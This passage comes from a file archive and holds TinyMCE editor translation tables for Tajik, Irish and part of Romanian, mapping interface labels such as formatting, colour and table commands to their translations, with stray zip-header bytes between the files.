"currency sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0430\u0441\u044a\u043e\u0440",
"euro-currency sign": "\u0435\u0432\u0440\u043e \u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0430\u0441\u044a\u043e\u0440",
"colon sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043a\u043e\u043b\u043e\u043d",
"cruzeiro sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 cruzeiro",
"french franc sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0444\u0440\u0430\u043d\u043a\u0438 \u0444\u0430\u0440\u043e\u043d\u0441\u0430\u0432\u04e3",
"lira sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043b\u0438\u0440\u0430",
"mill sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043c\u0438\u043b",
"naira sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043d\u0430\u0438\u0440\u0430",
"peseta sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043f\u0435\u0441\u0435\u0442\u0430",
"rupee sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0440\u0443\u043f\u0438",
"won sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0432\u043e\u043d",
"new sheqel sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0448\u0435\u043a\u0435\u043b\u0438 \u043d\u0430\u0432",
"dong sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0434\u043e\u043d\u0433",
"kip sign": "\u043d\u0438\u0448\u043e\u043d\u0438 \u043a\u0438\u043f",
"tugrik sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0442\u0443\u0433\u0440\u0438\u043a",
"drachma sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0434\u0440\u0430\u0445\u043c\u0430",
"german penny symbol": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0434\u0438\u043d\u043e\u0440\u0438 \u041e\u043b\u043c\u043e\u043d",
"peso sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043f\u0435\u0441\u043e",
"guarani sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0433\u0443\u0430\u0440\u0430\u043d\u0430",
"austral sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0430\u0432\u0441\u0442\u0440\u0430\u043b",
"hryvnia sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0433\u0440\u0438\u0432\u043d\u0430",
"cedi sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0441\u0435\u0434\u0438",
"livre tournois sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043b\u0438\u0432\u0440 \u0442\u0443\u0440\u043d\u043e\u0441",
"spesmilo sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0441\u043f\u0435\u0441\u043c\u0438\u043b\u043e",
"tenge sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0442\u0435\u043d\u0433\u0435",
"indian rupee sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0440\u0443\u043f\u0438\u0438 \u04b3\u0438\u043d\u0434\u04e3",
"turkish lira sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043b\u0438\u0440\u0430\u0438 \u0442\u0443\u0440\u043a\u04e3",
"nordic mark sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043c\u0430\u0440\u043a\u0438 \u043d\u043e\u0440\u0432\u0435\u0433\u0438",
"manat sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u043c\u0430\u043d\u0430\u0442",
"ruble sign": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0440\u0443\u0431\u043b",
"yen character": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0439\u0435\u043d",
"yuan character": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u044e\u0430\u043d",
"yuan character, in hong kong and taiwan": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u044e\u0430\u043d, \u0434\u0430\u0440 \u0425\u043e\u043d\u0433 \u041a\u043e\u043d\u0433 \u0432\u0430 \u0422\u0430\u0439\u0432\u0430\u043d",
"yen\/yuan character variant one": "\u0430\u043b\u043e\u043c\u0430\u0442\u0438 \u0439\u0435\u043d\/\u044e\u0430\u043d \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0438 \u044f\u043a\u0443\u043c",
"Loading emoticons...": "\u0411\u043e\u0440\u043a\u0443\u043d\u0438\u0438 \u0441\u043c\u0430\u0439\u043b\u04b3\u043e ...",
"Could not load emoticons": "\u0421\u043c\u0430\u0439\u043b\u04b3\u043e \u0431\u043e\u0440 \u043a\u0430\u0440\u0434\u0430 \u043d\u0430\u0448\u0443\u0434",
"People": "\u041c\u0430\u0440\u0434\u0443\u043c",
"Animals and Nature": "\u04b2\u0430\u0439\u0432\u043e\u043d\u043e\u0442 \u0432\u0430 \u0442\u0430\u0431\u0438\u0430\u0442",
"Food and Drink": "\u0492\u0438\u0437\u043e \u0432\u0430 \u043d\u04ef\u0448\u043e\u043a\u04e3",
"Activity": "\u0424\u0430\u044a\u043e\u043b\u0438\u044f\u0442",
"Travel and Places": "\u0421\u0430\u0444\u0430\u0440 \u0432\u0430 \u04b7\u043e\u0439\u04b3\u043e",
"Objects": "\u041e\u0431\u044a\u0435\u043a\u0442\u04b3\u043e",
"Flags": "\u041f\u0430\u0440\u0447\u0430\u043c\u04b3\u043e",
"Characters": "\u0410\u043b\u043e\u043c\u0430\u0442\u04b3\u043e",
"Characters (no spaces)": "\u0410\u043b\u043e\u043c\u0430\u0442\u04b3\u043e (\u0431\u0435 \u0444\u043e\u0441\u0438\u043b\u0430)",
"{0} characters": "{0} \u0430\u043b\u043e\u043c\u0430\u0442\u04b3\u043e",
"Error: Form submit field collision.": "\u0425\u0430\u0442\u043e\u0433\u04e3: \u0414\u0430\u0440 \u043c\u0430\u0439\u0434\u043e\u043d\u04b3\u043e\u0438 \u0434\u043e\u0445\u0438\u043b\u043a\u0443\u043d\u0438 \u0437\u0438\u0434\u0434\u0438\u044f\u0442 \u0451\u0444\u0442 \u0448\u0443\u0434.",
"Error: No form element found.": "\u0425\u0430\u0442\u043e\u0433\u04e3: \u042f\u0433\u043e\u043d \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0438 \u043c\u0430\u0439\u0434\u043e\u043d \u0451\u0444\u0442 \u043d\u0430\u0448\u0443\u0434.",
"Update": "\u041d\u0430\u0432\u0441\u043e\u0437\u04e3",
"Color swatch": "\u041a\u0430\u0448\u0438\u0448\u0438 \u0440\u0430\u043d\u0433",
"Turquoise": "\u0422\u0443\u0440\u043a\u0443",
"Green": "\u0421\u0430\u0431\u0437",
"Blue": "\u041a\u0430\u0431\u0443\u0434",
"Purple": "\u0410\u0440\u0493\u0443\u0432\u043e\u043d",
"Navy Blue": "\u041a\u0430\u0431\u0443\u0434\u0438 \u0442\u0438\u0440\u0430",
"Dark Turquoise": "\u0422\u0443\u0440\u043a\u0443\u0438 \u0442\u043e\u0440\u0438\u043a",
"Dark Green": "\u0421\u0430\u0431\u0437\u0438 \u0442\u043e\u0440\u0438\u043a",
"Medium Blue": "\u041a\u0430\u0431\u0443\u0434\u0438 \u043c\u0438\u0451\u043d\u0430",
"Medium Purple": "\u0410\u0440\u0493\u0443\u0432\u043e\u043d\u0438 \u043c\u0438\u0451\u043d\u0430",
"Midnight Blue": "\u041a\u0430\u0431\u0443\u0434\u0438 \u0442\u0438\u0440\u0430",
"Yellow": "\u0417\u0430\u0440\u0434",
"Orange": "\u041d\u043e\u0440\u0438\u043d\u04b7\u04e3",
"Red": "\u0421\u0443\u0440\u0445",
"Light Gray": "\u0425\u043e\u043a\u0438\u0441\u0442\u0430\u0440\u0440\u0430\u043d\u0433\u0438 \u0445\u0438\u0440\u0430",
"Gray": "\u0425\u043e\u043a\u0438\u0441\u0442\u0430\u0440\u0440\u0430\u043d\u0433",
"Dark Yellow": "\u0417\u0430\u0440\u0434\u0438 \u0442\u0438\u0440\u0430",
"Dark Orange": "\u041d\u043e\u0440\u0438\u043d\u04b7\u0438\u0438 \u0442\u0438\u0440\u0430",
"Dark Red": "\u0421\u0443\u0440\u0445\u0438 \u0442\u043e\u0440\u0438\u043a",
"Medium Gray": "\u0425\u043e\u043a\u0438\u0441\u0442\u0430\u0440\u0440\u0430\u043d\u0433\u0438 \u043c\u0438\u0451\u043d\u0430",
"Dark Gray": "\u0425\u043e\u043a\u0438\u0441\u0442\u0430\u0440\u0440\u0430\u043d\u0433\u0438 \u0442\u0438\u0440\u0430",
"Light Green": "\u0421\u0430\u0431\u0437\u0438 \u0445\u0438\u0440\u0430",
"Light Yellow": "\u0417\u0430\u0440\u0434\u0438 \u0445\u0438\u0440\u0430",
"Light Red": "\u0421\u0443\u0440\u0445\u0438 \u0445\u0438\u0440\u0430",
"Light Purple": "\u0410\u0440\u0493\u0443\u0432\u043e\u043d\u0438 \u0445\u0438\u0440\u0430",
"Light Blue": "\u041a\u0430\u0431\u0443\u0434\u0438 \u0445\u0438\u0440\u0430",
"Dark Purple": "\u0410\u0440\u0493\u0443\u0432\u043e\u043d\u0438 \u0442\u0438\u0440\u0430",
"Dark Blue": "\u041a\u0430\u0431\u0443\u0434\u0438 \u0442\u043e\u0440\u0438\u043a",
"Black": "\u0421\u0438\u0451\u04b3",
"White": "\u0421\u0430\u0444\u0435\u0434",
"Switch to or from fullscreen mode": "\u0411\u0430 \u04b3\u043e\u043b\u0430\u0442\u0438 \u043f\u0443\u0440\u0440\u0430\u0438 \u0440\u0430\u0432\u0437\u0430\u043d\u0430 \u0433\u0443\u0437\u0430\u0440\u0435\u0434",
"Open help dialog": "\u041e\u0438\u043d\u0430\u0438 \u043a\u04ef\u043c\u0430\u043a\u0440\u043e \u043a\u0443\u0448\u043e\u0435\u0434",
"history": "\u0442\u0430\u044a\u0440\u0438\u0445",
"styles": "\u0443\u0441\u043b\u0443\u0431\u04b3\u043e",
"formatting": "\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u043d\u04e3",
"alignment": "\u041c\u0443\u0442\u043e\u0431\u0438\u049b\u043a\u0443\u043d\u04e3",
"indentation": "\u0444\u043e\u0441\u0438\u043b\u0430",
"permanent pen": "\u049b\u0430\u043b\u0430\u043c",
"comments": "\u0442\u0430\u0444\u0441\u0438\u0440\u04b3\u043e",
"Format Painter": "\u0424\u043e\u0440\u043c\u0430\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0448\u0430\u043a",
"Insert\/edit iframe": "\u0412\u043e\u0440\u0438\u0434\/\u0442\u0430\u0493\u0438\u0440 \u0434\u043e\u0434\u0430\u043d\u0438 iframe",
"Capitalization": "\u0421\u0430\u0440\u043c\u043e\u044f\u0433\u0443\u0437\u043e\u0440\u04e3",
"lowercase": "\u0431\u043e \u04b3\u0430\u0440\u0444\u04b3\u043e\u0438 \u0445\u0443\u0440\u0434",
"UPPERCASE": "\u0411\u041e \u04b2\u0410\u0420\u0424\u04b2\u041e\u0418 \u041a\u0410\u041b\u041e\u041d",
"Title Case": "\u041f\u0430\u0440\u0432\u0430\u043d\u0434\u0430\u0438 \u0443\u043d\u0432\u043e\u043d",
"Permanent Pen Properties": "\u0425\u0443\u0441\u0443\u0441\u0438\u044f\u0442\u04b3\u043e\u0438 \u049b\u0430\u043b\u0430\u043c",
"Permanent pen properties...": "\u0425\u0443\u0441\u0443\u0441\u0438\u044f\u0442\u04b3\u043e\u0438 \u049b\u0430\u043b\u0430\u043c ...",
"Font": "\u04b2\u0443\u0440\u0443\u0444",
"Size": "\u0410\u043d\u0434\u043e\u0437\u0430",
"More...": "\u0411\u0435\u0448\u0442\u0430\u0440...",
"Spellcheck Language": "\u0417\u0430\u0431\u043e\u043d\u0438 \u0438\u043c\u043b\u043e",
"Select...": "\u0418\u043d\u0442\u0438\u0445\u043e\u0431 \u043a\u0443\u043d\u0435\u0434 ...",
"Preferences": "\u0410\u0444\u0437\u0430\u043b\u0438\u044f\u0442\u04b3\u043e",
"Yes": "\u04b2a",
"No": "\u041d\u0435",
"Keyboard Navigation": "\u041d\u0430\u0432\u0438\u0433\u0430\u0442\u0441\u0438\u044f\u0438 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0430",
"Version": "\u0412\u0435\u0440\u0441\u0438\u044f",
"Anchor": "\u041b\u0430\u043d\u0433\u0430\u0440",
"Special character": "\u0420\u0430\u043c\u0437\u04b3\u043e\u0438 \u043c\u0430\u0445\u0441\u0443\u0441",
"Color": "\u0420\u0430\u043d\u0433",
"Emoticons": "\u042d\u04b3\u0441\u043e\u0441\u04b3\u043e",
"Document properties": "\u04b2\u043e\u043b\u0430\u0442\u0438 \u04b3\u0443\u04b7\u04b7\u0430\u0442",
"Insert link": "\u0418\u0441\u0442\u0438\u043d\u043e\u0434 \u0433\u0443\u0437\u043e\u0448\u0442\u0430\u043d",
"Target": "\u041d\u0438\u0448\u043e\u043d\u0430",
"Poster": "\u042d\u044a\u043b\u043e\u043d\u043d\u043e\u043c\u0430",
"Print": "\u0427\u043e\u043f \u043a\u0430\u0440\u0434\u0430\u043d",
"Whole words": "\u041a\u0430\u043b\u0438\u043c\u0430\u04b3\u043e\u0438 \u043f\u0443\u0440\u0440\u0430",
"Find and replace": "\u0401\u0444\u0442\u0430\u043d \u0432\u0430 \u0442\u0430\u0493\u0438\u0440 \u0434\u043e\u0434\u0430\u043d",
"Prev": "\u0413\u0443\u0437\u0430\u0448\u0442\u0430",
"Spellcheck": "\u0422\u0430\u0444\u0442\u0438\u0448\u0438 \u0433\u0440\u0430\u043c\u043c\u0430\u0442\u0438\u043a\u04e3",
"Caption": "\u0421\u0430\u0440\u043b\u0430\u0432\u04b3\u0430",
"Insert template": "\u0412\u043e\u0440\u0438\u0434\u0438 \u049b\u043e\u043b\u0430\u0431"
});PK
h�\�j˧
*
*program/js/tinymce/langs/ga.jsnu�[���tinymce.addI18n('ga',{
"Redo": "Athdh\u00e9an",
"Undo": "Cealaigh",
"Cut": "Gearr",
"Copy": "C\u00f3ipe\u00e1il",
"Paste": "Greamaigh",
"Select all": "Roghnaigh uile",
"New document": "C\u00e1ip\u00e9is nua",
"Ok": "OK",
"Cancel": "Cealaigh",
"Visual aids": "\u00c1iseanna amhairc",
"Bold": "Trom",
"Italic": "Iod\u00e1lach",
"Underline": "Fol\u00edne",
"Strikethrough": "L\u00edne tr\u00edd",
"Superscript": "Forscript",
"Subscript": "Foscript",
"Clear formatting": "Glan form\u00e1idi\u00fa",
"Align left": "Ail\u00ednigh ar chl\u00e9",
"Align center": "Ail\u00ednigh sa l\u00e1r",
"Align right": "Ail\u00ednigh ar dheis",
"Justify": "Comhfhadaigh",
"Bullet list": "Liosta Urchar",
"Numbered list": "Liosta Uimhrithe",
"Decrease indent": "Laghdaigh eang",
"Increase indent": "M\u00e9adaigh eang",
"Close": "D\u00fan",
"Formats": "Form\u00e1id\u00ed",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "N\u00ed f\u00e9idir le do bhrabhs\u00e1la\u00ed teacht go d\u00edreach ar an ngearrthaisce. Bain \u00fas\u00e1id as na haicearra\u00ed Ctrl+X\/C\/V. ",
"Headers": "Ceannt\u00e1sca",
"Header 1": "Ceannt\u00e1sc 1",
"Header 2": "Ceannt\u00e1sc 2",
"Header 3": "Ceannt\u00e1sc 3",
"Header 4": "Ceannt\u00e1sc 4",
"Header 5": "Ceannt\u00e1sc 5",
"Header 6": "Ceannt\u00e1sc 6",
"Headings": "Ceannteidil",
"Heading 1": "Ceannteideal 1",
"Heading 2": "Ceannteideal 2",
"Heading 3": "Ceannteideal 3",
"Heading 4": "Ceannteideal 4",
"Heading 5": "Ceannteideal 5",
"Heading 6": "Ceannteideal 6",
"Preformatted": "R\u00e9amhfhorm\u00e1idithe",
"Div": "Deighilt",
"Pre": "R\u00e9amh",
"Code": "C\u00f3d",
"Paragraph": "Alt",
"Blockquote": "Athfhriotal",
"Inline": "Inl\u00edne",
"Blocks": "Blocanna",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Sa m\u00f3d gn\u00e1th-th\u00e9acs anois. Gream\u00f3far \u00e1bhar mar ghn\u00e1th-th\u00e9acs go dt\u00ed go m\u00fachfaidh t\u00fa an rogha seo.",
"Font Family": "Cl\u00f3fhoireann",
"Font Sizes": "Cl\u00f3mh\u00e9ideanna",
"Class": "Aicme",
"Browse for an image": "Brabhs\u00e1il le haghaidh \u00edomh\u00e1",
"OR": "N\u00d3",
"Drop an image here": "Scaoil \u00edomh\u00e1 anseo",
"Upload": "Uasl\u00f3d\u00e1il",
"Block": "Bloc",
"Align": "Ail\u00ednigh",
"Default": "R\u00e9amhshocr\u00fa",
"Circle": "Ciorcal",
"Disc": "Diosca",
"Square": "Cearn\u00f3g",
"Lower Alpha": "Alfa Beag",
"Lower Greek": "Litir Bheag Ghr\u00e9agach",
"Lower Roman": "Litir Bheag R\u00f3mh\u00e1nach",
"Upper Alpha": "Alfa M\u00f3r",
"Upper Roman": "Litir Mh\u00f3r R\u00f3mh\u00e1nach",
"Anchor": "Ancaire",
"Name": "Ainm",
"Id": "Aitheantas",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "N\u00ed m\u00f3r don aitheantas tos\u00fa le litir, agus gan ach litreacha, uimhreacha, daiseanna, poncanna, idirstadanna, n\u00f3 fostr\u00edoca ina dhiaidh sin.",
"You have unsaved changes are you sure you want to navigate away?": "T\u00e1 athruithe gan s\u00e1bh\u00e1il ann. An bhfuil t\u00fa cinnte gur mhaith leat imeacht amach as seo?",
"Restore last draft": "Oscail an dr\u00e9acht is d\u00e9ana\u00ed",
"Special character": "Carachtar speisialta",
"Source code": "C\u00f3d foinseach",
"Insert\/Edit code sample": "Cuir sampla c\u00f3id isteach\/in eagar",
"Language": "Teanga",
"Code sample": "Sampla c\u00f3id",
"Color": "Dath",
"R": "D",
"G": "U",
"B": "G",
"Left to right": "Cl\u00e9-go-deas",
"Right to left": "Deas-go-cl\u00e9",
"Emoticons": "Straoiseoga",
"Document properties": "Air\u00edonna na C\u00e1ip\u00e9ise",
"Title": "Teideal",
"Keywords": "Lorgfhocail",
"Description": "Cur S\u00edos",
"Robots": "R\u00f3bait",
"Author": "\u00dadar",
"Encoding": "Ionch\u00f3d\u00fa",
"Fullscreen": "L\u00e1nsc\u00e1ile\u00e1n",
"Action": "Gn\u00edomh",
"Shortcut": "Aicearra",
"Help": "Cabhair",
"Address": "Seoladh",
"Focus to menubar": "F\u00f3cas sa bharra roghchl\u00e1ir",
"Focus to toolbar": "F\u00f3cas sa bharra uirlis\u00ed",
"Focus to element path": "F\u00f3cas sa chonair eiliminte",
"Focus to contextual toolbar": "F\u00f3cas sa bharra uirlis\u00ed comhth\u00e9acs\u00fail",
"Insert link (if link plugin activated)": "Cuir nasc isteach (m\u00e1 t\u00e1 an breise\u00e1n naisc ar si\u00fal)",
"Save (if save plugin activated)": "S\u00e1bh\u00e1il (m\u00e1 t\u00e1 an breise\u00e1n s\u00e1bh\u00e1la ar si\u00fal)",
"Find (if searchreplace plugin activated)": "Aimsigh (m\u00e1 t\u00e1 an breise\u00e1n cuardaigh ar si\u00fal)",
"Plugins installed ({0}):": "Breise\u00e1in shuite\u00e1ilte ({0}):",
"Premium plugins:": "Scothbhreise\u00e1in:",
"Learn more...": "Tuilleadh eolais...",
"You are using {0}": "T\u00e1 t\u00fa ag \u00fas\u00e1id {0}",
"Plugins": "Breise\u00e1in",
"Handy Shortcuts": "Aicearra\u00ed \u00das\u00e1ideacha",
"Horizontal line": "L\u00edne chothrom\u00e1nach",
"Insert\/edit image": "Cuir \u00edomh\u00e1 isteach\/in eagar",
"Image description": "Cur s\u00edos ar an \u00edomh\u00e1",
"Source": "Foinse",
"Dimensions": "Tois\u00ed",
"Constrain proportions": "Comhr\u00e9ir faoi ghlas",
"General": "Ginear\u00e1lta",
"Advanced": "Casta",
"Style": "St\u00edl",
"Vertical space": "Sp\u00e1s ingearach",
"Horizontal space": "Sp\u00e1s cothrom\u00e1nach",
"Border": "Iml\u00edne",
"Insert image": "Cuir \u00edomh\u00e1 isteach",
"Image": "\u00cdomh\u00e1",
"Image list": "Liosta \u00edomh\u00e1nna",
"Rotate counterclockwise": "Rothlaigh ar tuathal",
"Rotate clockwise": "Rothlaigh ar deiseal",
"Flip vertically": "Cas go hingearach",
"Flip horizontally": "Cas go cothrom\u00e1nach",
"Edit image": "Cuir an \u00edomh\u00e1 in eagar",
"Image options": "Roghanna \u00edomh\u00e1",
"Zoom in": "Z\u00fam\u00e1il isteach",
"Zoom out": "Z\u00fam\u00e1il amach",
"Crop": "Bear",
"Resize": "Athraigh m\u00e9id",
"Orientation": "Treoshu\u00edomh",
"Brightness": "Gile",
"Sharpen": "G\u00e9araigh",
"Contrast": "Codarsnacht",
"Color levels": "Leibh\u00e9il datha",
"Gamma": "G\u00e1ma",
"Invert": "Inbh\u00e9artaigh",
"Apply": "Cuir i bhfeidhm",
"Back": "Siar",
"Insert date\/time": "Cuir d\u00e1ta\/am isteach",
"Date\/time": "D\u00e1ta\/am",
"Insert link": "Cuir nasc isteach",
"Insert\/edit link": "Cuir nasc isteach\/in eagar",
"Text to display": "T\u00e9acs le taispe\u00e1int",
"Url": "URL",
"Target": "Sprioc",
"None": "Dada",
"New window": "Fuinneog nua",
"Remove link": "Bain an nasc",
"Anchors": "Ancair\u00ed",
"Link": "Nasc",
"Paste or type a link": "Greamaigh n\u00f3 cl\u00f3scr\u00edobh nasc",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "Is seoladh r\u00edomhphoist \u00e9 an URL a chuir t\u00fa isteach. An bhfuil fonn ort an r\u00e9im\u00edr riachtanach mailto: a chur leis?",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "Is nasc seachtrach \u00e9 an URL a chuir t\u00fa isteach. An bhfuil fonn ort an r\u00e9im\u00edr riachtanach http:\/\/ a chur leis?",
"Link list": "Liosta nascanna",
"Insert video": "Cuir f\u00edse\u00e1n isteach",
"Insert\/edit video": "Cuir f\u00edse\u00e1n isteach\/in eagar",
"Insert\/edit media": "Cuir me\u00e1n isteach\/in eagar",
"Alternative source": "Foinse mhalartach",
"Poster": "P\u00f3staer",
"Paste your embed code below:": "Greamaigh do ch\u00f3d leabaithe th\u00edos:",
"Embed": "Leabaigh",
"Media": "Me\u00e1in",
"Nonbreaking space": "Sp\u00e1s neamhbhristeach",
"Page break": "Briseadh leathanaigh",
"Paste as text": "Greamaigh mar th\u00e9acs",
"Preview": "R\u00e9amhamharc",
"Print": "Priont\u00e1il",
"Save": "S\u00e1bh\u00e1il",
"Find": "Aimsigh",
"Replace with": "Ionadaigh le",
"Replace": "Ionadaigh",
"Replace all": "Ionadaigh uile",
"Prev": "Siar",
"Next": "Ar aghaidh",
"Find and replace": "Aimsigh agus ionadaigh",
"Could not find the specified string.": "N\u00edor aims\u00edodh an teaghr\u00e1n.",
"Match case": "C\u00e1s-\u00edogair",
"Whole words": "Focail ioml\u00e1na",
"Spellcheck": "Seice\u00e1il an litri\u00fa",
"Ignore": "D\u00e9an neamhaird air",
"Ignore all": "D\u00e9an neamhaird orthu go l\u00e9ir",
"Finish": "Cr\u00edochnaigh",
"Add to Dictionary": "Cuir leis an bhFocl\u00f3ir \u00e9",
"Insert table": "Ions\u00e1igh t\u00e1bla",
"Table properties": "Air\u00edonna an t\u00e1bla",
"Delete table": "Scrios an t\u00e1bla",
"Cell": "Cill",
"Row": "R\u00f3",
"Column": "Col\u00fan",
"Cell properties": "Air\u00edonna na cille",
"Merge cells": "Cumaisc cealla",
"Split cell": "Roinn cill",
"Insert row before": "Ions\u00e1igh r\u00f3 os a chionn",
"Insert row after": "Ions\u00e1igh r\u00f3 faoi",
"Delete row": "Scrios an r\u00f3",
"Row properties": "Air\u00edonna an r\u00f3",
"Cut row": "Gearr an r\u00f3",
"Copy row": "C\u00f3ipe\u00e1il an r\u00f3",
"Paste row before": "Greamaigh r\u00f3 os a chionn",
"Paste row after": "Greamaigh r\u00f3 faoi",
"Insert column before": "Ions\u00e1igh col\u00fan ar chl\u00e9",
"Insert column after": "Ions\u00e1igh col\u00fan ar dheis",
"Delete column": "Scrios an col\u00fan",
"Cols": "Col\u00fain",
"Rows": "R\u00f3nna",
"Width": "Leithead",
"Height": "Airde",
"Cell spacing": "Sp\u00e1s\u00e1il ceall",
"Cell padding": "Stu\u00e1il ceall",
"Caption": "Fotheideal",
"Left": "Ar Chl\u00e9",
"Center": "Sa L\u00e1r",
"Right": "Ar Dheis",
"Cell type": "Cine\u00e1l na cille",
"Scope": "Sc\u00f3ip",
"Alignment": "Ail\u00edni\u00fa",
"H Align": "Ail\u00edni\u00fa C.",
"V Align": "Ail\u00edni\u00fa I.",
"Top": "Barr",
"Middle": "L\u00e1r",
"Bottom": "Bun",
"Header cell": "Cill cheannt\u00e1isc",
"Row group": "Gr\u00fapa r\u00f3nna",
"Column group": "Gr\u00fapa col\u00fan",
"Row type": "Cine\u00e1l an r\u00f3",
"Header": "Ceannt\u00e1sc",
"Body": "Corp",
"Footer": "Bunt\u00e1sc",
"Border color": "Dath na himl\u00edne",
"Insert template": "Ions\u00e1igh teimpl\u00e9ad",
"Templates": "Teimpl\u00e9id",
"Template": "Teimpl\u00e9ad",
"Text color": "Dath an t\u00e9acs",
"Background color": "Dath an ch\u00falra",
"Custom...": "Saincheap...",
"Custom color": "Dath saincheaptha",
"No color": "Gan dath",
"Table of Contents": "Cl\u00e1r na n\u00c1bhar",
"Show blocks": "Taispe\u00e1in blocanna",
"Show invisible characters": "Taispe\u00e1in carachtair dhofheicthe",
"Words: {0}": "Focail: {0}",
"{0} words": "{0} focal",
"File": "Comhad",
"Edit": "Eagar",
"Insert": "Ions\u00e1ig",
"View": "Amharc",
"Format": "Form\u00e1id",
"Table": "T\u00e1bla",
"Tools": "Uirlis\u00ed",
"Powered by {0}": "\u00c1 chumhacht\u00fa ag {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "Limist\u00e9ar M\u00e9ith-Th\u00e9acs. Br\u00faigh ALT-F9 le haghaidh roghchl\u00e1ir, ALT-F10 le haghaidh barra uirlis\u00ed, agus ALT-0 le c\u00fanamh a fh\u00e1il"
});PK
h�\�#�J�Jprogram/js/tinymce/langs/ro.jsnu�[���tinymce.addI18n('ro',{
"Redo": "Refacere",
"Undo": "Anulare",
"Cut": "Decupare",
"Copy": "Copiere",
"Paste": "Lipire",
"Select all": "Selecteaz\u0103 tot",
"New document": "Document nou",
"Ok": "Ok",
"Cancel": "Revocare",
"Visual aids": "Ajutoare vizuale",
"Bold": "Aldin",
"Italic": "Cursiv",
"Underline": "Subliniere",
"Strikethrough": "T\u0103iere",
"Superscript": "Exponent",
"Subscript": "Indice",
"Clear formatting": "\u00cendep\u0103rtare formatare",
"Align left": "Aliniere st\u00e2nga",
"Align center": "Aliniere centru",
"Align right": "Aliniere dreapta",
"Justify": "Aliniere st\u00e2nga-dreapta",
"Bullet list": "List\u0103 marcatori",
"Numbered list": "List\u0103 numerotat\u0103",
"Decrease indent": "Mic\u0219orare indent",
"Increase indent": "M\u0103rire indent",
"Close": "\u00cenchidere",
"Formats": "Formate",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Browser-ul dumneavoastr\u0103 nu are acces direct la clipboard. V\u0103 rug\u0103m s\u0103 folosi\u021bi \u00een schimb scurt\u0103turile de tastatur\u0103 Ctrl+X\/C\/V.",
"Headers": "Antete",
"Header 1": "Antet 1",
"Header 2": "Antet 2",
"Header 3": "Antet 3",
"Header 4": "Antet 4",
"Header 5": "Antet 5",
"Header 6": "Antet 6",
"Headings": "Rubrici",
"Heading 1": "Titlu 1",
"Heading 2": "Titlu 2",
"Heading 3": "Titlu 3",
"Heading 4": "Titlu 4",
"Heading 5": "Titlu 5",
"Heading 6": "Titlu 6",
"Preformatted": "Preformatat",
"Div": "Div",
"Pre": "Pre",
"Code": "Cod",
"Paragraph": "Paragraf",
"Blockquote": "Blockquote",
"Inline": "\u00cen linie",
"Blocks": "Blocuri",
"Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.": "Functia \"lipe\u015fte\" este acum \u00een modul text simplu. Continutul va fi acum inserat ca text simplu p\u00e2n\u0103 c\u00e2nd aceast\u0103 op\u021biune va fi dezactivat.",
"Fonts": "Fonturi",
"Font Sizes": "Dimensiuni font",
"Class": "Clas\u0103",
"Browse for an image": "C\u0103uta\u021bi o imagine",
"OR": "OR",
"Drop an image here": "Glisa\u021bi o imagine aici",
"Upload": "\u00cenc\u0103rcare",
"Block": "Sec\u021biune",
"Align": "Aliniere",
"Default": "Implicit",
"Circle": "Cerc",
"Disc": "Disc",
"Square": "P\u0103trat",
"Lower Alpha": "Minuscule Alfanumerice",
"Lower Greek": "Minuscule Grecesti",
"Lower Roman": "Minuscule Romane",
"Upper Alpha": "Majuscule Alfanumerice",
"Upper Roman": "Majuscule Romane",
"Anchor...": "Ancor\u0103\u2026",
"Name": "Nume",
"Id": "Id",
"Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores.": "Id-ul trebuie s\u0103 inceap\u0103 cu o liter\u0103, urmat\u0103 exclusiv de litere, numere, cratime, puncte, punct \u0219i virgul\u0103 sau underscore-uri.",
